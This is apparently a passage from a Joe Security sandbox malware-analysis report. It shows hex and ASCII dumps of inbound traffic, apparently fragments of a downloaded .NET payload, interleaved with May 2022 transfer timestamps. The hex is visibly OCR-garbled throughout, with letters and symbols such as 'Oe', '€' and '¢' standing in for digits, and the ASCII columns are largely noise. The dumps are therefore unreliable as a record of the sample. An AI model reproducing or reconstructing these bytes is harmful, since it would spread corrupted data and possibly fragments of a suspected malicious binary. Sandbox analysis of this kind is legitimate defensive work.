11 92 7e 30 00 01 ca bb 00 16 00 00 00 Oa e2 f8 11 91 7e 29 00 00 75 83 00 46 00 03 00 00 00 00 11 91 02 d4 00 00 70
3818 10 00 00 00 Oa e2 e4 11 91 Oe 4f 00 00 00 48 18 06 00 03 00 00 00 00 11 91 7e 1d 00 01 ca bb 00 16 00 00 00 Oa
e2d4 11 91 00 e2 00 00 75 83 00 46 00 03 00 00 00 00 11 91 02 d4 00 00

Data Ascii: 8XOH~PD~KuFp80OH~? uFp80OH~0~)uFp80OH~uF

Data Raw: 13 00 c6 00 00 00 09 7c 3c 0f 94 6d 1f 00 01 95 fd 00 c6 00 00 00 09 7c 24 0f 94 03 03 00 01 95 f2 02 c3 00 00
00 09 7c 10 0f 94 6d 1f 00 01 95 e7 00 c6 00 00 00 09 7b 9c 0Of 93 6d 18 00 01 95 d1 02 c3 00 00 00 09 79 cc Of 92 6d 08

00 01 95 c6 00 c6 00 00 00 09 78 bc 0f 92 03 f3 00 00 94 b1 00 c6 00 00 00 09 78 a8 0f 92 03 03 00 01 95 bb 00 c6 00 00

00 09 78 90 0f 92 03 03 00 01 95 b0 00 c6 00 00 00 09 78 74 Of 90 6e 00 00 00 00 48 18 86 00 00 00 09 77 cc Of 8f 65 21

00 00 00 48 18 86 00 00 00 09 77 30 Of 8d 6d f8 00 00 00 48 18 86 00 00 00 09 76 94 0Of 8d 6¢ e6 00 01 95 a5 00 c6 00 00
00 09 76 84 0f 8c 6d f1 00 00 00 48 18 86 00 00 00 09 75 dO Of 8b 65 26 00 00 00 48 18 86 00 00 00 09 75 30 Of 8a 6¢ d8

00 01 95 9a 02 ¢3 00 00 00 09 75 10 0f 89 6¢ d8 00 01

Data Ascii: [<m|$|m{mymxxxxtnHwe!HwOmHvlvmHue&HuOlul

Data Raw: 04 01 e1 00 00 00 07 57 8c Od 11 61 19 00 01 6b 89 01 e1 00 00 00 07 57 Oc 0d Oe 61 04 00 01 6b 42 01 el
00 00 00 07 56 d4 0d 0d 60 f3 00 01 6b 37 00 91 00 00 00 07 55 €8 0d 0a 60 d5 00 01 6b 26 00 93 00 08 00 07 52 84 Od
08 60 cb 00 00 74 63 03 ¢3 00 00 00 07 52 6¢ 0d 07 60 c2 00 01 15 c5 00 86 00 00 00 07 52 5¢ 0d 06 60 9b 00 01 6b 00 0
886 00 00 00 07 51 a0 0d 05 60 9b 00 01 6a €6 08 86 00 00 00 07 50 d0 0d 03 55 de 00 01 57 8b 01 c6 00 00 00 07 50
0 0d 02 3e 5b 00 01 57 8b 01 ¢6 00 00 00 07 50 a8 Oc fe 60 83 00 01 6a db 00 81 00 00 00 07 4e 4c Oc fd 36 dO 00 01
6a c5 00 86 00 00 00 07 4e 34 Oc fc 36 d0 00 01 17 0a 00 86 00 00 00 07 4e 1c Oc fb 36 d0 00 01 6a ac 00 86 00 00 00 07
4e 04 Oc f9 60 68 00 01 0d d1 00 93 00 00 00 07 4c e4 Oc f7 60 54 00 01

Data Ascii: WakWakBV k7U k&R tcRI'RVKQ jPUWP>[WPjNL6]N46N6N"hL T

Data Raw: f8 00 93 00 00 00 04 3b 20 09 10 04 dc 00 01 2f e3 00 93 00 00 00 04 3b Oc 09 10 04 dc 00 01 2f ce 00 93 00
00 00 04 3a f8 09 10 0d 64 00 01 2f b9 00 93 00 00 00 04 3a e0 09 10 05 Oe 00 01 2f a4 00 93 00 00 00 04 3a c4 09 10
32 3¢ 00 01 2f 8f 00 93 00 00 00 04 3a ac 09 10 0d 64 00 01 2f 7a 00 93 00 00 00 04 3a 94 09 10 0d 64 00 01 2f 65 00 93
00 00 00 04 3a 7¢ 09 10 05 07 00 01 2f 50 00 93 00 00 00 04 3a 68 09 Of 04 ¢8 00 01 2f 3b 00 93 00 00 00 04 3a 54 09 Of
04 dc 00 01 2f 26 00 93 00 00 00 04 3a 40 09 Of 0d 64 00 01 2f 11 00 93 00 00 00 04 3a 28 09 Of 11 3d 00 01 2e ef 00 93
00 00 00 04 3a 14 09 0f 16 d9 00 01 2e da 00 93 00 00 00 04 39 f8 09 0f 32 3c 00 01 2e c5 00 93 00 00 00 04 39 e0 09 Of
0456 00 01 2e b0 00 93 00 00 00 04 39 cc 09 0f 04 dc 00 01

Data Ascii: ; /;/:d/:/:2</:d/z:d/e:|/P:h/;:T/&:@d/:(=.:.92<.9V.9

Data Raw: €7 00 93 00 00 00 02 1a a0 05 68 12 47 00 00 5 d2 00 93 00 00 00 02 1a 8c 05 68 16 2e 00 00 e5 bd 00 93
00 00 00 02 1a 78 05 68 05 15 00 00 €5 a8 00 93 00 00 00 02 1a 64 05 68 2a 6d 00 00 €5 93 00 93 00 00 00 02 1a 48 05
68 21 1f 00 00 €5 7e 00 93 00 00 00 02 1a 30 05 68 02 d4 00 00 70 38 18 91 00 00 00 02 1a 1c 05 68 02 d4 00 00 €5 6a
00 96 00 00 00 02 10 e4 05 67 2d 1b 00 00 €5 5f 00 91 00 00 00 02 10 d4 05 67 23 12 00 00 02 bf 00 93 00 00 00 02 10
¢4 05 66 2d 14 00 00 €5 54 00 91 00 00 00 02 10 b4 05 66 23 e1 00 00 02 bf 00 93 00 00 00 02 10 a4 05 66 02 d4 00 00
70 38 18 91 00 00 00 02 10 90 05 66 04 dc 00 00 e5 14 00 93 00 00 00 02 10 7c 05 66 2d 09 00 00 e4 ff 00 93 00 00 00
02 10 6¢ 05 66 02 dc 00 00 e4 ea 00 93 00 00 00 02 10 58 05 66 0d 2 00 00

Data Ascii: hGh.xhdh*mHh!~Ohp8hjg-_g#f-TH#Ap8ff-IfXf,

Data Raw: 25 00 93 00 00 00 00 dO cc 00 c6 04 f8 00 00 b5 10 00 93 00 00 00 00 dO b4 00 c6 16 d3 00 00 b4 fb 00 93 00
00 00 00 dO a4 00 c6 02 dc 00 00 b4 €6 00 93 00 00 00 00 d0 90 00 c6 03 52 00 00 b4 d1 00 93 00 00 00 00 d0 80 00 c6
02 d4 00 00 70 38 18 91 00 00 00 00 dO 6¢ 00 c6 16 cd 00 00 72 bd 01 e1 00 00 00 00 dO 5¢c 00 c6 16 bc 00 00 72 bd 01
€1 00 00 00 00 dO 04 00 c6 03 2c 00 00 72 bd 01 e1 00 00 00 00 cf f4 00 c6 00 e2 00 00 b4 b6 01 el 00 00 00 00 cf e4 00
¢6 16 b6 00 00 72 bd 01 e1 00 00 00 00 cf d4 00 c6 03 03 00 00 72 bd 01 e1 00 00 00 00 ch 24 00 c6 00 €2 00 00 72 bd O
1 e1 00 00 00 00 cb 18 00 c5 00 be 00 00 00 48 18 86 00 00 00 00 ca 5¢c 00 ¢5 0d 88 00 00 b4 2c 00 93 00 00 00 00 ca 48
00 c5 16 95 00 00 b4 Oe 00 93 00 00 00 00 ca 30 00 c5 04 f8 00 00

Data Ascii: %Rp8Ir\r,rrr$rH\,HO

Data Raw: 03 02 e5 00 01 bf 82 00 03 02 e5 00 01 bf 5f 00 03 02 e5 00 01 bf 3c 00 03 02 5 00 01 bf 19 00 03 02 €5 00
01 be f6 00 03 02 e5 00 01 be d3 00 03 02 e5 00 01 be b0 00 03 02 e5 00 01 be 8d 00 03 02 €5 00 01 be 6a 00 03 02 e5
00 01 be 47 00 03 74 2b 00 01 be 24 00 13 02 e5 00 01 be 01 00 03 02 €5 00 01 bd de 00 03 02 €5 00 01 bd bb 00 03 02
€5 00 01 bd 98 00 03 02 e5 00 01 bd 75 00 03 02 e5 00 01 bhd 52 00 03 02 €5 00 01 bd 2f 00 03 02 €5 00 01 bd Oc 00 03
02 e5 00 01 bc €9 00 03 02 e5 00 01 bc ¢6 00 03 02 e5 00 01 bc a3 00 03 02 €5 00 01 bc 80 00 03 02 €5 00 01 bc 5d 00
03 02 e5 00 01 bc 3a 00 03 02 €5 00 01 bc 17 00 03 02 e5 00 01 bb f4 00 03 02 €5 00 01 bb d1 00 03 02 €5 00 01 bb ae
00 03 02 5 00 01 bb 8b 00 03 02 €5 00 01 bb 68 00 03 02 €5 00 01 bb 45

Data Ascii: _<jGt+$uR/]:hE
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Timestamp transferred Direction
2022-05-23 16:46:57 UTC 844 IN
2022-05-23 16:46:57 UTC 860 IN
2022-05-23 16:46:57 UTC 876 IN
2022-05-23 16:46:57 UTC 892 IN
2022-05-23 16:46:57 UTC 908 IN
2022-05-23 16:46:57 UTC 924 IN
2022-05-23 16:46:57 UTC 940 IN
2022-05-23 16:46:57 UTC 956 IN
2022-05-23 16:46:57 UTC 971 IN
2022-05-23 16:46:57 UTC 987 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 8e 00 65 00 00 00 00 00 00 6f 48 00 00 01 00 24 c2 Oc 8d 00 65 00 00 00 00 00 00 6f 34 00 00 01 00 24 be Oc
8c 00 65 00 00 00 00 00 00 6f 20 00 00 01 00 24 ba Oc 8b 00 65 00 00 00 00 00 00 6f Oc 00 00 01 00 24 b6 Oc 8a 00 65
00 00 00 00 00 00 6e f8 00 00 01 00 24 b2 Oc 89 00 65 00 00 00 00 00 00 6e e4 00 00 01 00 24 ae Oc 88 00 65 00 00 00
00 00 00 6e d0 00 00 01 00 24 aa Oc 87 00 65 00 00 00 00 00 00 6e bc 00 00 01 00 24 a6 Oc 86 00 65 00 00 00 00 00 00
6e a8 00 00 01 00 24 a2 Oc 85 00 65 00 00 00 00 00 00 6e 94 00 00 01 00 24 9e Oc 84 00 65 00 00 00 00 00 00 6e 80 00
00 01 00 24 9a 0c 83 00 65 00 00 00 00 00 00 6e 6¢ 00 00 01 00 24 96 Oc 82 00 65 00 00 00 00 00 00 6e 58 00 00 01 00
24 92 Oc 81 00 65 00 00 00 00 00 00 6e 44 00 00 01 00 24 8e Oc 80 00 65

Data Ascii: eoH$e04$eo0 $eo$ensensensensen$ensensenisenX$enDSe

Data Raw: 00 00 00 00 00 28 30 00 00 01 00 16 8a 08 ff 00 65 00 00 00 00 00 00 28 1c 00 00 01 00 16 86 08 fe 00 65 00
00 00 00 00 00 28 08 00 00 01 00 16 82 08 fd 00 65 00 00 00 00 00 00 27 f4 00 00 01 00 16 7e 08 fc 00 65 00 00 00 00
00 00 27 €0 00 00 01 00 16 7a 08 fb 00 65 00 00 00 00 00 00 27 cc 00 00 01 00 16 76 08 fa 00 65 00 00 00 00 00 00 27
b8 00 00 01 00 16 72 08 f9 00 65 00 00 00 00 00 00 27 a4 00 00 01 00 16 6e 08 f8 00 65 00 00 00 00 00 00 27 90 00 00 O
100 16 6a 08 f7 00 65 00 00 00 00 00 00 27 7c 00 00 01 00 16 66 08 f6 00 65 00 00 00 00 00 00 27 68 00 00 01 00 16 62
08 f5 00 65 00 00 00 00 00 00 27 54 00 00 01 00 16 5e 08 f4 00 65 00 00 00 00 00 00 27 40 00 00 01 00 16 5a 08 f3 00
65 00 00 00 00 00 00 27 2¢ 00 00 01 00 16 56 08 f2 00 65 00 00 00 00

Data Ascii: (Oe(e(e'~e'ze've're'ne'je’|fe'hbe' T e'@Ze',Ve

Data Raw: 1d 4c b3 28 05 2b 46 00 2a 06 00 Of Of 28 02 00 06 03 d0 62 72 e8 5e 28 05 2b 4a 2a 06 00 24 6e 6f 01 Oe 00
0e 02 Oe 66 18 b1 al 28 05 2b 4e 00 2a 06 00 Of Of 28 02 00 06 02 d0 6b 19 €7 01 28 05 2b 4a 2a 06 00 24 6a 6f 01 Oe
00 Oe 02 Oe 39 03 5c 42 28 05 2b 4e 00 2a 06 00 Of Of 28 02 00 06 01 dO 6¢ 1e d7 c6 28 05 2b 4a 00 00 2a 06 00 24 66 6f
00 Oe 01 Oe 37 1c 6f 27 28 05 2b 46 00 2a 06 00 Of Of 28 02 00 06 00 d0 43 58 02 2f 28 05 2b 4a 00 00 2a 06 00 24 62 6f
00 Oe 01 Oe 6b 7d b1 85 28 05 2b 46 00 2a 06 00 Of Of 28 02 00 05 ff dO 4f 67 94 a8 28 05 2b 4a 00 00 2a 06 00 24 5e 6f
02 Oe 01 Oe 00 Oe 03 Oe 37 09 45 ef 28 05 2b 56 00 2a 06 00 Of Of 28 02 00 05 fe d0 34 7b €3 14 28 05 2b 4a 00 00 2a 06
00 24 5a 6f 00 Oe 01 Oe 67 5e e5 15 28 05 2b 46 00 2a 06 00

Data Ascii: L(+F*(br\(+J*$nof(+N*(k(+J*$jo9\B(+N*(I(+J*$fo 70" (+F*(CX/(+I*$bok}(+ F*(Og(+I*$ 0 7E(+V*(4{(+I*$ZogN(+F*

Data Raw: 04 7c d0 2e 32 39 b1 28 05 2b 4a 2a 06 00 1e 52 6f 01 Oe 00 Oe 02 Oe 44 62 1a 34 28 05 2b 4e 00 2a 06 00 Of
0f 28 02 00 04 7b dO 6b 3a f6 77 28 05 2b 4a 00 00 2a 06 00 le 4e 6f 00 Oe 01 Oe 3b 04 08 cf 28 05 2b 46 00 2a 06 00 Of
0f 28 02 00 04 7a dO 49 45 44 36 28 05 2b 4a 00 00 2a 06 00 1e 4a 6f 00 Oe 01 Oe 66 61 a2 3a 28 05 2b 46 00 2a 06 00
0Of 0f 28 02 00 04 79 d0 3d 37 fb ac 28 05 2b 4a 00 00 2a 06 00 le 46 6f 00 Oe 01 Oe 6a 07 75 cO 28 05 2b 46 00 2a 06 00
0f 0f 28 02 00 04 78 d0 40 54 a6 f9 28 05 2b 4a 2a 06 00 1e 42 6f 01 Oe 00 Oe 02 Oe 3e 00 ce 03 28 05 2b 4e 00 2a 06 00
0Of 0f 28 02 00 04 77 d0 69 27 le c7 28 05 2b 4a 2a 06 00 1e 3e 6f 01 Oe 00 Oe 02 Oe 5a 42 32 12 28 05 2b 4e 00 2a 06
00 Of 0f 28 02 00 04 76 dO 40 5c 25 b7 28 05 2b 4a 2a 06 00 le

Data Ascii: |.29(+J*RoDb4(+N*({k:w(+J*No;(+F*(ZIED6(+J*Jofa: (+F*(y=7 (+J*Foju(+F*(x @ T(+J*Bo>(+N*(wi'(+J*>0ZB2(+N*
(V@\%(+J*

Data Raw: Oe 01 Oe 6a Ob 9b 6 28 05 2b 46 00 2a 06 00 Of Of 28 02 00 02 f1 d0 6e 23 36 e1 28 05 2b 4a 00 00 2a 06 00
18 26 6f 02 Oe 01 Oe 00 Oe 03 Oe 6a 70 95 a9 28 05 2b 56 00 2a 06 00 Of Of 28 02 00 02 f0 dO 56 4d d8 a9 28 05 2b 4a 00
00 2a 06 00 18 22 6f 00 Oe 01 Oe 30 27 b af 28 05 2b 46 00 2a 06 00 Of Of 28 02 00 02 ef d0 39 4b el 94 28 05 2b 4a 00
2a 06 00 18 e 6f 07 Oe 06 Oe 05 Oe 04 Oe 03 Oe 02 Oe 01 Oe 00 Oe 08 Oe 5a 22 cf 7 28 05 2b 00 00 00 00 00 00 00 1f
00 0a 30 03 00 2a 06 00 Of Of 28 02 00 02 ee d0 64 07 cO a5 28 05 2b 4a 00 00 2a 06 00 18 1a 6f 02 Oe 01 Oe 00 Oe 03
0e 6¢ 02 cd cc 28 05 2b 56 00 2a 06 00 Of Of 28 02 00 02 ed d0 53 50 b2 39 28 05 2b 4a 00 00 2a 06 00 18 16 6f 00 Oe 01
Oe 4f Oe 52 f1 28 05 2b 46 00 2a 06 00 Of Of 28 02 00 02 ec d0

Data Asci: j(+F*(n#6(+J*&0jp(+V*(VM(+J*"00'(+F*(9K (+J*0Z" (+0*(d(+J*0l(+V*(SPI(+J*00R (+F*(

Data Raw: 2a 00 00 00 01 38 00 00 00 05 00 00 00 23 00 00 00 06 00 00 00 03 45 00 00 Oc fe ff ff ff cf 38 00 00 00 09 38
00 00 00 00 20 26 00 00 00 14 39 17 00 00 00 00 20 06 00 13 27 28 16 02 00 00 00 00 38 06 00 13 77 28 04 00 08 3a 7e
3a21 64 22 28 05 2b 11 00 00 01 00 00 00 85 00 03 30 13 00 00 2a 00 00 00 00 38 06 00 23 97 28 04 00 Oc 42 7e 03 02
35 40 10 b7 28 05 2b 66 00 00 00 ff f ff 9a 38 ff ff ff 74 39 02 00 01 b6 75 03 ff ff ff 67 38 00 00 00 00 20 26 ff ff ff 72 39
06 00 13 48 28 00 00 00 00 20 04 00 07 b6 7d 04 00 07 b6 7b 02 00 01 b6 74 03 02 ff ff ff 92 38 00 00 00 01 20 26 ff ff ff
9d 3a 06 00 13 48 28 00 00 00 01 20 04 00 07 b5 7d 04 00 07 b5 7b 02 00 01 b6 74 03 02 ff ff ff bd 38 00 00 00 02 20 26
ff f ff c8 3a 06 00 13 48 28 00 00 00 01 20 04

Data Ascii: *8#E88 &9 '(8w/(:~:!d"(+0*8#(B~5@(+f8t9ug8 &r9H( }{t8 &:H( Ht8 &:H(

Data Raw: Oe 11 04 ff ff fc 71 38 00 00 00 43 20 26 ff ff fc 7c 3a 06 00 12 c1 28 00 00 00 01 20 02 13 14 00 00 04 c3 38
15 13 01 00 00 35 8d 08 11 ff ff fc 9c 38 00 00 00 25 20 00 00 05 04 39 0a 00 01 da 6f 06 00 13 09 28 9a 11 11 15 11 ff ff
fc ba 38 00 00 00 18 20 00 00 05 55 38 ff ff fc c5 38 00 01 Oe fe 00 00 00 3¢ 20 00 00 06 09 3a 0a 00 01 da 6f 06 00 12 fa
28 04 00 07 88 7b 12 11 ff ff fc ed 38 00 00 00 2a 20 00 00 04 53 38 ff ff fc fc 38 00 00 00 2e 20 Oa 13 02 00 01 ad 74 06
00 13 0a 28 06 00 12 c9 28 06 00 Of b4 28 02 00 01 ad 20 04 11 ff ff fd 1f 38 00 01 Oe fe 00 00 00 48 20 06 00 13 06 28 Oa
00 02 ¢7 7e 05 11 00 00 02 8e 38 00 00 03 e1 39 06 00 24 6b 28 04 00 Oc 77 7e Of 11 04 00 00 06 ae 38 Oa 00 02 cb 6f
04 00 07 88 7b 10 11 0a 00 03 {7 7e 05 11 ff

Data Ascii: q8C &|:( 858% 90(8 U88< :0({8* S88. t((( 8H (~89$k(W~80{~

Data Raw: 00 00 00 3d 20 06 00 24 57 28 04 00 Oc 72 7e 06 00 24 cb 28 04 00 Oc 8f 7e 16 11 05 11 04 00 07 91 7b 02 ff
ff ea 05 38 1c 13 06 00 24 73 28 04 00 Oc 79 7e 02 00 01 98 74 16 11 ff f 96 f9 38 00 00 01 87 20 26 ff ff 97 04 3a 06 00
12 0 28 00 00 01 b7 20 08 13 14 f ff 97 16 38 00 00 01 94 20 ff ff f5 a0 38 ff ff 97 21 38 00 10 Oe fe 00 00 01 64 20 00 00
06 e1 3a 16 11 ff ff 97 3a 38 00 00 00 el 20 13 13 0a 00 03 7 6f 1b 11 0a 00 03 8e 6f 0a 00 00 31 28 06 00 Of b4 28 02
00 01 93 20 ff ff 97 61 38 00 00 01 ad 20 26 ff ff 97 6¢ 3a 06 00 12 cO 28 00 00 02 1b 20 ff ff f4 Oa 3a 05 11 ff ff 97 82 38
00 00 00 3b 20 00 00 09 6b 3a 0a 00 01 da 6f 1a 11 ff ff 97 98 38 00 00 01 13 20 00 00 Ob 1f 38 ff ff 97 a7 38 00 00 01 76
20 26 ff ff 97 b2 3a 06 00 12 c1 28 00

Data Ascii: = $W(r~$(~{8$s(y~t8 &:( 8 8!8d ::8 001(( a8 &l:( :8; k:08 88 &:(

Data Raw: 7e 04 11 06 00 12 c9 28 06 00 Of b4 28 01 00 00 23 20 04 00 07 91 7b 02 ff ff dd 74 38 00 00 33 b7 39 05 11 ff
f 19 €4 38 00 00 44 fb 39 0d 11 ff ff d3 82 38 00 00 01 71 20 00 00 15 6 38 ff ff 3 19 38 16 13 06 00 12 b2 28 06 00 24
63 28 04 00 Oc 75 7e 04 00 07 91 7b 02 2a ff ff d3 ae 38 00 00 00 2f 20 ff ff 7 66 38 ff ff d3 bd 38 00 00 01 72 20 00 00 Ob
6e 39 16 11 ff ff d3 ce 38 00 00 01 69 20 ff ff €0 82 3a 2a 11 ff f d3 db 38 00 10 Oe fe 00 00 01 8f 20 04 00 07 95 7d 59 17
01 00 00 05 a5 04 00 07 98 7b 02 02 ff ff f4 75 38 00 00 01 ce 39 16 11 2a 00 00 30 9c 38 00 00 15 3d 38 ff ff d4 17 38 00
00 01 b8 20 16 13 06 00 12 b2 28 06 00 24 63 28 04 00 Oc 75 7e 04 00 07 91 7b 02 2a ff ff d4 39 38 00 00 02 3b 20 00 00
3e b2 39 0d 11 ff ff d4 4a 38 00 00

Data Ascii: ~((# {t8398D98q 188($c(u~{*8/ 188r n98i :*8 }Y{u89*08=88 ($c(u~{*98; >98

Data Raw: 4c 00 00 00 1 00 00 00 07 45 00 00 Oc fe 00 00 00 00 38 00 00 Oe fe 00 00 00 02 20 45 37 db ee 28 05 2b 11
00 01 f7 00 00 01 cd 00 03 30 1b 00 00 ff ff ff d1 38 01 13 16 ff ff ff ca 38 00 00 00 00 20 26 ff ff ff d5 39 06 00 12 cO 28 00
00 00 00 20 06 00 24 3f 28 04 00 Oc 6¢ 7e 01 12 02 2a 00 00 00 00 38 00 00 00 05 00 00 00 01 45 00 00 Oc fe 00 00 00
3a 38 57 11 9d 82 28 05 2b 11 00 00 62 00 00 00 4e 00 04 30 13 00 2a 06 00 13 73 28 04 00 08 39 7e 65 6f 9e 5 28 05
2b 4a 00 2a 06 00 13 73 28 04 00 08 39 7e 5c 1b f3 18 28 05 2b 4a 00 2a 06 00 13 73 28 04 00 08 39 7e 58 64 b4 6a 28
05 2b 4a 00 2a 06 00 13 73 28 04 00 08 39 7e 68 31 80 24 28 05 2b 4a 00 00 2a 0a 00 03 d4 6f 00 00 09 fe 5¢ 21 8e fc
28 05 2b 46 00 00 2a 04 00 07 8d 7e 4a 50 69 42 28 05 2b 36

Data Ascii: LES E7(+088 &9( $?(I~*8E:8W(+bN0*S(9~e0(+J*s(9-\(+J*s(9~Xdj(+J*s(9~h1$(+I*o\(+F*~IPiB(+6
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kBytes

Timestamp transferred Direction
2022-05-23 16:46:57 UTC 1003 IN
2022-05-23 16:46:57 UTC 1019 IN
2022-05-23 16:46:57 UTC 1035 IN
2022-05-23 16:46:57 UTC 1051 IN
2022-05-23 16:46:57 UTC 1067 IN
2022-05-23 16:46:57 UTC 1083 IN
2022-05-23 16:46:57 UTC 1099 IN
2022-05-23 16:46:57 UTC 1115 IN
2022-05-23 16:46:57 UTC 1131 IN
2022-05-23 16:46:57 UTC 1147 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 10 c7 73 6a 04 00 07 41 7b 04 00 07 42 7c 06 00 12 05 28 02 2a 06 00 10 c7 73 04 00 07 4c 7b 04 00 07
4d 7c 06 00 12 04 28 02 00 00 00 2d 38 66 6d d9 al 28 05 2b 00 00 00 00 00 00 00 49 00 03 30 03 00 00 00 ff ff ff c3 38
ff ff ff de 40 1e Oa 00 00 38 28 2a 06 00 10 c9 73 6e 04 00 07 40 7b 04 00 07 42 7c 06 00 12 02 28 02 2a 06 00 10 c9 73
04 00 07 4b 7b 04 00 07 4d 7c 06 00 12 01 28 02 00 00 00 2d 38 44 79 12 ac 28 05 2b 00 00 00 00 00 00 00 49 00 03 30
03 2a 06 00 10 c¢7 73 6a 04 00 07 41 7b 04 00 07 42 7c 06 00 12 00 28 02 2a 06 00 10 c7 73 04 00 07 4c 7b 04 00 07 4d
7c 06 00 11 ff 28 02 00 00 00 00 38 00 00 00 1b 40 1e Oa 00 00 38 28 5a 27 d4 9d 28 05 2b 00 00 00 00 00 00 00 44 00
03 30 03 00 00 00 2a 06 00 11 9b 73 6¢ 04 00 07 54 7b 02 61 59 el 88

Data Ascii: sSjA{B|(*sL{M|(-8fm(+108@8(*sn@{B|(*sK{M|(-8Dy(+I0*sjA{B|(*sL{M|(8@8(Z'(+D0*sIT{aY

Data Raw: 00 00 02 20 ff ff ff 5b 3a 06 00 23 a7 28 04 00 Oc 46 7e 03 7a 06 00 12 0f 73 2a 06 00 10 c9 73 6e db 04 00 07
40 7b 04 00 07 42 7c 06 00 11 51 6f 02 04 00 07 40 7b 04 00 07 42 7c 06 00 11 51 6f 02 00 01 98 74 03 2a 06 00 10 c9
73 db 04 00 07 4b 7b 04 00 07 4d 7c 06 00 11 33 28 02 04 00 07 4b 7b 04 00 07 4d 7c 06 00 11 53 6f 02 00 01 98 74 03
ff ff ff 85 38 00 00 00 00 20 26 ff f ff 90 39 06 00 11 2a 28 00 00 00 00 20 00 00 01 22 38 ff ff ff a4 38 00 00 00 06 20 01
10 06 00 23 ab 28 04 00 Oc 47 7e 03 ff ff ff bb 38 00 00 00 05 20 00 00 00 b9 38 00 00 00 fd 38 00 00 01 2a 40 1e 06 00
11 2b 28 00 00 00 00 38 00 00 00 d3 00 00 00 24 00 00 00 3b 00 00 00 b9 00 00 00 15 00 00 00 5a 00 00 00 05 00 00 00
07 45 00 00 Oc fe 00 00 00 00 38 00 00 Oe fe 00 00 00 03

Data Ascii: [:#(F~zs*sn@{B|Qo@{B|Qot*sK{M|3(K{M|Sot8 &9*( "88 #(G~8 88*@+(8%;ZE8

Data Raw: 03 30 13 ff ff ff c4 38 ff ff ff 77 39 06 00 23 a7 28 04 00 Oc 46 7e 03 ff ff ff 75 38 00 00 00 01 20 26 ff f ff 80 3a
06 00 10 a9 28 00 00 00 01 20 01 10 06 00 23 ab 28 04 00 Oc 47 7e 03 7a 06 00 12 Of 73 2a 06 00 10 4d 73 da 04 00 07
4c 7b 04 00 07 4d 7c 02 00 01 97 74 03 04 00 07 4c 7b 04 00 07 4d 7c 02 ff ff ff c4 38 00 00 00 00 20 26 ff ff ff cf 3a 06 00
10 a8 28 00 00 00 00 20 00 00 00 3c 39 06 00 24 03 28 04 00 Oc 5d 7e 03 00 00 00 2a 38 00 00 00 05 00 00 00 2f 00 00
00 02 45 00 00 Oc fe 00 00 00 8f 38 3a 66 72 81 28 05 2b 11 00 00 01 00 00 00 b0 00 03 30 13 00 00 00 ff ff ff c3 38 ff ff ff
ea 39 06 00 24 03 28 04 00 Oc 5d 7e 03 7a 06 00 12 0f 73 2a 06 00 10 4d 73 59 04 00 07 4c 7b 04 00 07 4d 7c 02 00 01
97 74 03 04 00 07 4c 7b 04 00 07 4d 7c 02

Data Ascii: 08W9#(F~u8 &:( #(G~zs*MsL{M|tL{M|8 &:( <9$(]~*8/E8:fr(+089%$(]~zs*MsY L{M|tL{M|

Data Raw: 7b 04 00 07 42 7c 02 37 31 bf d6 28 05 2b 6a 00 2a 06 00 Of d5 73 17 82 04 00 07 40 7b 04 00 07 42 7c 02 52
2f 36 31 28 05 2b 6a 00 2a 06 00 Of d5 73 17 b3 04 00 07 41 7b 04 00 07 42 7c 02 3d 41 bc 7d 28 05 2b 6a 00 2a 06 00
10 3¢ 28 02 48 2c 19 71 28 05 2b 3a 00 2a 06 00 11 52 6f 02 60 60 77 7f 28 05 2b 3a 00 2a 06 00 11 50 6f 02 43 19 40 ce
28 05 2b 3a 00 2a 06 00 10 2f 28 02 4a 70 de 77 28 05 2b 3a 00 2a 06 00 10 3b 28 02 6b 39 41 33 28 05 2b 3a 00 2a 06
00 11 51 6f 02 42 29 Oc 2d 28 05 2b 3a 00 2a 06 00 11 4f 6f 02 54 2f 2d c8 28 05 2b 3a 00 2a 06 00 10 2e 28 02 6e 71 3d
ff 28 05 2b 3a 00 2a 06 00 10 52 73 1e 6e 04 00 07 40 7b 04 00 07 42 7c 02 57 34 9a fe 28 05 2b 6a 00 2a 06 00 10 50 7
3 1d 6a 04 00 07 41 7b 04 00 07 42 7c 02 4c 47 a9 28 28 05 2b 6a

Data Ascii: {B|71(+j*s@{B|R/61 (+j*sA{B|=A}(+j*<(H,q(+:*Ro" " w(+:*PoC@ (+:*/(Ipw(+:*;(k9A3(+:*QoB)-(+:*O0T/-(+:*.(nq=
(+*Rsn@{B|W4(+j*PsjA{B|LG((+]

Data Raw: 00 00 01 45 00 15 Oc fe 00 00 00 04 38 00 00 00 00 20 26 00 00 00 Of 39 06 00 Of 71 28 00 00 00 00 20 06 00
0f 5e 28 06 00 Of 5d 28 06 00 Of 5d 28 04 11 06 00 Of 5¢ 28 06 00 Of 5b 28 06 00 Of 5a 28 04 11 06 00 Of 59 28 04 00 07
23 7e 06 00 0f 58 28 25 06 00 Of 57 28 69 8e 2a 11 16 2a 11 25 0a 00 00 7 73 17 13 11 04 11 04 13 06 00 Of 56 28 13 13
06 00 Of 55 28 1f 11 03 11 06 00 Of 54 28 17 25 06 00 Of 53 28 1f 13 00 0f Oc fe 9¢ 00 27 Oc fe 00 00 00 Of 20 00 Of Oc fe
00 27 Oe fe 58 00 00 00 72 20 00 00 00 31 20 9¢ 00 27 Oc fe 00 00 00 Of 20 00 Of Oc fe 00 27 Oe fe 58 00 00 00 01 20 00
00 00 64 20 9c 00 27 Oc fe 00 00 00 Of 20 00 Of Oc fe 00 27 Oe fe 58 00 00 00 5b 20 00 00 00 15 20 9¢ 00 27 Oc fe 00 00
00 Of 20 00 Of Oc fe 00 27 Oe fe 59 00 00 00 43 20 00

Data Ascii: E8 &9q( A100IZ(Y #=X(@W([*%sV(U(T(%S( 'Xr 1"'X d "'X[ ''YC

Data Raw: 00 00 02 20 26 ff ff ff ac 39 04 00 08 08 7b 04 00 07 df 7e 00 00 00 02 20 04 00 06 bf 7d 07 Oe 02 ff ff ff c8 38
00 00 00 03 20 04 00 06 bb 7d 04 Oe 02 00 00 00 12 38 00 00 00 3e 00 00 00 5¢ 00 00 00 94 00 00 00 4a 00 00 00 cb 00
00 00 a5 00 00 00 17 00 00 00 07 45 00 00 Oc fe ff ff ff €1 38 00 00 00 ad 38 0a 00 00 11 28 02 00 00 00 00 38 06 00 13
77 28 04 00 08 3a 7e 41 1b bc 6a 28 05 2b 11 00 00 01 00 00 01 17 00 03 30 13 00 2a 04 00 06 b8 7b 02 31 4e b9 5b 28
05 2b 3a 00 00 7a 0a 00 00 16 73 67 18 80 45 28 05 2b 36 00 ff ff f 87 38 ff ff ff ee 39 04 00 06 b7 7b 02 2a 04 00 06 b7
